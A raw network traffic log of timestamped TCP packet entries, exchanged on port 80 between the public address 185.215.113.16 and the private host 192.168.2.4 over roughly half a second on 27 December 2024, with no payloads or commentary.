Dec 27, 2024 09:00:28.804650068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804704905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804716110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804759026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.804830074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804871082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.804892063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804903984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.804961920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.805000067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.805010080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.805044889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.805259943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.805278063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.805289030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.805411100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.805429935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.805449009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.805449963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.805459976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:28.805474043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.805495977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:28.860771894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.025461912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.025521040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.025536060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.025616884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.025619984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.025633097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.025691986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.025708914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.025722980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.025744915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.025789022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.025789022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.026026964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.026129961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.026143074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.026185036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.026186943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.026196957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.026237965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.026310921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.026321888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.026334047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.026393890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.026393890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.027662039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.027723074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.027734995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.027776957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.027878046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.027889967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.027904987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.027916908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.027937889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.027973890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.027977943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028024912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028045893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.028079033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028155088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028173923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028183937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.028189898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028224945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.028315067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028327942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028359890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.028589010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028634071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028634071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.028645992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028696060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.028774023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028785944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028798103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028820038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.028845072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.028953075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.029520988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.029540062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.029551029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.029587984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.029675961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.029690981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.029702902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.029715061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.029736996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.029736996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.029907942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.029920101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.029932976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030044079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.030044079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.030157089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030200958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030213118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030231953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030307055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.030307055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.030639887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030714989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030726910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030813932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030833006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030852079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.030852079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.030883074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030900002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.030941010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.031084061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031131983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.031141043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031153917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031205893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.031280994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031292915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031306028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031322002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031332970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.031377077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.031735897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031775951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031788111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031872034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.031903028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031914949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031928062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031939983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.031960011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.031982899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.032111883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.032124996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.032138109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.032159090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.032196045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.032632113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.032651901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.032664061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.032716990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.032740116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.032814026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.032931089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.032985926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.032998085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.033070087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.033098936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.033109903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.033154964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.033370018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.033421993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.033453941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.072701931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.072752953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.072766066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.072791100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.072829008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.072892904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.072907925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.072918892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.072932959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.072978020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.073012114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.073044062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073056936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073070049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073152065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.073226929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073280096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073282957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.073292971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073328018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.073383093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073395967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073407888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073421955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073466063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.073467016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.073528051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073582888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073596954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073606968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073620081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.073669910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.073669910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.074187994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.074245930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.074259043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.074269056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.074300051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.074400902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.074414015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.074425936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.074496031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.126374960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.227092028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227149963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227180004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227200985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.227281094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227339983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.227340937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227370977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227416039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227430105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.227447987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227478027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227508068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.227513075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227525949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227539062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227559090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.227583885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.227684975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227696896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.227744102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.228905916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.228916883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.228926897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.228940010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.228976011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.228980064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.229020119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.229043007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.229098082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.229135036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.229146004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.229224920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.229398966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.229448080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.229459047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.229547977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.229667902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.229686022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.229732037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.229756117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.229796886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.229872942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.229885101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230005026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.230027914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230058908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230071068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230113029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.230261087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230282068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230293989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230315924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.230339050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.230422974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230433941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230500937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.230737925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230792999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230806112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.230897903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.231137037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231156111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231208086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.231220007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231232882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231244087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231261969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231272936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231277943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.231277943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.231283903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231309891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231328011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231338978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.231338978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.231399059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.231399059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.232119083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232191086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232203960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232242107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.232338905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232351065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232362986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232376099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232415915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.232415915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.232589006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232599974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232610941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232671976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.232671976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.232809067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232897043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232909918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.232954025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.232994080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233043909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.233110905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233165026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233176947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233241081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.233300924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233313084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233325005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233335972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233372927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.233372927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.233568907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233581066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233592033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.233622074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.233660936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.234261990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234306097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234318972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234330893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234366894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.234463930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.234499931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234512091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234523058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234621048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234689951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234692097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.234692097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.234703064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234714985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.234760046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.274091005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274138927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274171114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274240017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.274240017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.274281979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274342060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274370909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274405003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274405956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.274416924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274465084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274481058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274487019 CET	49743	80	192.168.2.4	185.215.113.16
